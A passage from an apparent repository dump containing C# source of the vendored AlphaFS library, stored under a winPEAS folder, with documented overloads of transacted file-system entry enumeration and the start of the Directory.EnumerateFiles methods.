enumerated.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Infos\")]\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<T> EnumerateFileSystemEntryInfosTransacted<T>(KernelTransaction transaction, string path, string searchPattern, DirectoryEnumerationOptions options, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<T>(null, transaction, path, searchPattern, null, options,  null, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file system entries in a specified path.</summary>\n      /// <returns>The matching file system entries. The type of the items is determined by the type <typeparamref name=\"T\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <typeparam name=\"T\">The type to return. This may be one of the following types:\n      ///    <list type=\"definition\">\n      ///    <item>\n      ///       <term><see cref=\"FileSystemEntryInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"FileSystemEntryInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"FileSystemInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"DirectoryInfo\"/> and <see cref=\"FileInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"string\"/></term>\n      ///       <description>This method will return the full path of each item.</description>\n      ///    </item>\n      /// </list>\n      /// </typeparam>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Infos\")]\n      [SecurityCritical]\n      public static IEnumerable<T> EnumerateFileSystemEntryInfosTransacted<T>(KernelTransaction transaction, string path, DirectoryEnumerationFilters filters)\n      {\n         return EnumerateFileSystemEntryInfosCore<T>(null, transaction, path, Path.WildcardStarMatchAll, null, null, filters, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file system entries in a specified path.</summary>\n      /// <returns>The matching file system entries. The type of the items is determined by the type <typeparamref name=\"T\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <typeparam name=\"T\">The type to return. This may be one of the following types:\n      ///    <list type=\"definition\">\n      ///    <item>\n      ///       <term><see cref=\"FileSystemEntryInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"FileSystemEntryInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"FileSystemInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"DirectoryInfo\"/> and <see cref=\"FileInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"string\"/></term>\n      ///       <description>This method will return the full path of each item.</description>\n      ///    </item>\n      /// </list>\n      /// </typeparam>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Infos\")]\n      [SecurityCritical]\n      public static IEnumerable<T> EnumerateFileSystemEntryInfosTransacted<T>(KernelTransaction transaction, string path, DirectoryEnumerationFilters filters, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<T>(null, transaction, path, Path.WildcardStarMatchAll, null, null, filters, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file system entries in a specified path.</summary>\n      /// <returns>The matching file system entries. The type of the items is determined by the type <typeparamref name=\"T\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <typeparam name=\"T\">The type to return. This may be one of the following types:\n      ///    <list type=\"definition\">\n      ///    <item>\n      ///       <term><see cref=\"FileSystemEntryInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"FileSystemEntryInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"FileSystemInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"DirectoryInfo\"/> and <see cref=\"FileInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"string\"/></term>\n      ///       <description>This method will return the full path of each item.</description>\n      ///    </item>\n      /// </list>\n      /// </typeparam>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Infos\")]\n      [SecurityCritical]\n      public static IEnumerable<T> EnumerateFileSystemEntryInfosTransacted<T>(KernelTransaction transaction, string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters)\n      {\n         return EnumerateFileSystemEntryInfosCore<T>(null, transaction, path, Path.WildcardStarMatchAll, null, options,  filters, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file system entries in a specified path.</summary>\n      /// <returns>The matching file system entries. The type of the items is determined by the type <typeparamref name=\"T\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <typeparam name=\"T\">The type to return. This may be one of the following types:\n      ///    <list type=\"definition\">\n      ///    <item>\n      ///       <term><see cref=\"FileSystemEntryInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"FileSystemEntryInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"FileSystemInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"DirectoryInfo\"/> and <see cref=\"FileInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"string\"/></term>\n      ///       <description>This method will return the full path of each item.</description>\n      ///    </item>\n      /// </list>\n      /// </typeparam>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Infos\")]\n      [SecurityCritical]\n      public static IEnumerable<T> EnumerateFileSystemEntryInfosTransacted<T>(KernelTransaction transaction, string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<T>(null, transaction, path, Path.WildcardStarMatchAll, null, options,  filters, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file system entries that match a <paramref name=\"searchPattern\"/> in a specified path.</summary>\n      /// <returns>The matching file system entries. The type of the items is determined by the type <typeparamref name=\"T\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <typeparam name=\"T\">The type to return. This may be one of the following types:\n      ///    <list type=\"definition\">\n      ///    <item>\n      ///       <term><see cref=\"FileSystemEntryInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"FileSystemEntryInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"FileSystemInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"DirectoryInfo\"/> and <see cref=\"FileInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"string\"/></term>\n      ///       <description>This method will return the full path of each item.</description>\n      ///    </item>\n      /// </list>\n      /// </typeparam>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Infos\")]\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<T> EnumerateFileSystemEntryInfosTransacted<T>(KernelTransaction transaction, string path, string searchPattern, DirectoryEnumerationFilters filters)\n      {\n         return EnumerateFileSystemEntryInfosCore<T>(null, transaction, path, searchPattern, null, null, filters, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file system entries that match a <paramref name=\"searchPattern\"/> in a specified path.</summary>\n      /// <returns>The matching file system entries. The type of the items is determined by the type <typeparamref name=\"T\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <typeparam name=\"T\">The type to return. This may be one of the following types:\n      ///    <list type=\"definition\">\n      ///    <item>\n      ///       <term><see cref=\"FileSystemEntryInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"FileSystemEntryInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"FileSystemInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"DirectoryInfo\"/> and <see cref=\"FileInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"string\"/></term>\n      ///       <description>This method will return the full path of each item.</description>\n      ///    </item>\n      /// </list>\n      /// </typeparam>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Infos\")]\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<T> EnumerateFileSystemEntryInfosTransacted<T>(KernelTransaction transaction, string path, string searchPattern, DirectoryEnumerationFilters filters, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<T>(null, transaction, path, searchPattern, null, null, filters, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file system entries that match a <paramref name=\"searchPattern\"/> in a specified path.</summary>\n      /// <returns>The matching file system entries. The type of the items is determined by the type <typeparamref name=\"T\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <typeparam name=\"T\">The type to return. This may be one of the following types:\n      ///    <list type=\"definition\">\n      ///    <item>\n      ///       <term><see cref=\"FileSystemEntryInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"FileSystemEntryInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"FileSystemInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"DirectoryInfo\"/> and <see cref=\"FileInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"string\"/></term>\n      ///       <description>This method will return the full path of each item.</description>\n      ///    </item>\n      /// </list>\n      /// </typeparam>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Infos\")]\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<T> EnumerateFileSystemEntryInfosTransacted<T>(KernelTransaction transaction, string path, string searchPattern, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters)\n      {\n         return EnumerateFileSystemEntryInfosCore<T>(null, transaction, path, searchPattern, null, options,  filters, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file system entries that match a <paramref name=\"searchPattern\"/> in a specified path.</summary>\n      /// <returns>The matching file system entries. The type of the items is determined by the type <typeparamref name=\"T\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <typeparam name=\"T\">The type to return. This may be one of the following types:\n      ///    <list type=\"definition\">\n      ///    <item>\n      ///       <term><see cref=\"FileSystemEntryInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"FileSystemEntryInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"FileSystemInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"DirectoryInfo\"/> and <see cref=\"FileInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"string\"/></term>\n      ///       <description>This method will return the full path of each item.</description>\n      ///    </item>\n      /// </list>\n      /// </typeparam>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Infos\")]\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<T> EnumerateFileSystemEntryInfosTransacted<T>(KernelTransaction transaction, string path, string searchPattern, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<T>(null, transaction, path, searchPattern, null, options,  filters, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.EnumerateFiles.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Security;\nusing SearchOption = System.IO.SearchOption;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      #region .NET\n\n      /// <summary>Returns an enumerable collection of file names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the files in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateFiles(string path)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(false, null, path, Path.WildcardStarMatchAll, null, null, null, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>Returns an enumerable collection of file names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the files in the directory specified by <paramref name=\"path\"/> and that match the <paramref name=\"searchPattern\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateFiles(string path, string searchPattern)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(false, null, path, searchPattern, null, null, null, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>Returns an enumerable collection of file names that match a <paramref name=\"searchPattern\"/> in a specified <paramref name=\"path\"/>, and optionally searches subdirectories.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the files in the directory specified by <paramref name=\"path\"/> and that match the specified <paramref name=\"searchPattern\"/> and <paramref name=\"searchOption\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"searchOption\">\n      ///   One of the <see cref=\"SearchOption\"/> enumeration values that specifies whether the <paramref name=\"searchOption\"/>\n      ///   should include only the current directory or should include all subdirectories.\n      /// </param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateFiles(string path, string searchPattern, SearchOption searchOption)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(false, null, path, searchPattern, searchOption, null, null, PathFormat.RelativePath);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the files in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateFiles(string path, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(false, null, path, Path.WildcardStarMatchAll, null, null, null, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the files in the directory specified by <paramref name=\"path\"/> and that match the <paramref name=\"searchPattern\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<string> EnumerateFiles(string path, string searchPattern, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(false, null, path, searchPattern, null, null, null, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names that match a <paramref name=\"searchPattern\"/> in a specified <paramref name=\"path\"/>, and optionally searches subdirectories.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the files in the directory specified by <paramref name=\"path\"/> and that match the specified <paramref name=\"searchPattern\"/> and <paramref name=\"searchOption\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"searchOption\">\n      ///   One of the <see cref=\"SearchOption\"/> enumeration values that specifies whether the <paramref name=\"searchOption\"/>\n      ///   should include only the current directory or should include all subdirectories.\n      /// </param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<string> EnumerateFiles(string path, string searchPattern, SearchOption searchOption, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(false, null, path, searchPattern, searchOption, null, null, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the files in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateFiles(string path, DirectoryEnumerationOptions options)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(false, null, path, Path.WildcardStarMatchAll, null, options, null, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the files in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateFiles(string path, DirectoryEnumerationOptions options, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(false, null, path, Path.WildcardStarMatchAll, null, options, null, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the files in the directory specified by <paramref name=\"path\"/> and that match the <paramref name=\"searchPattern\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<string> EnumerateFiles(string path, string searchPattern, DirectoryEnumerationOptions options)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(false, null, path, searchPattern, null, options, null, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the files in the directory specified by <paramref name=\"path\"/> and that match the <paramref name=\"searchPattern\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param 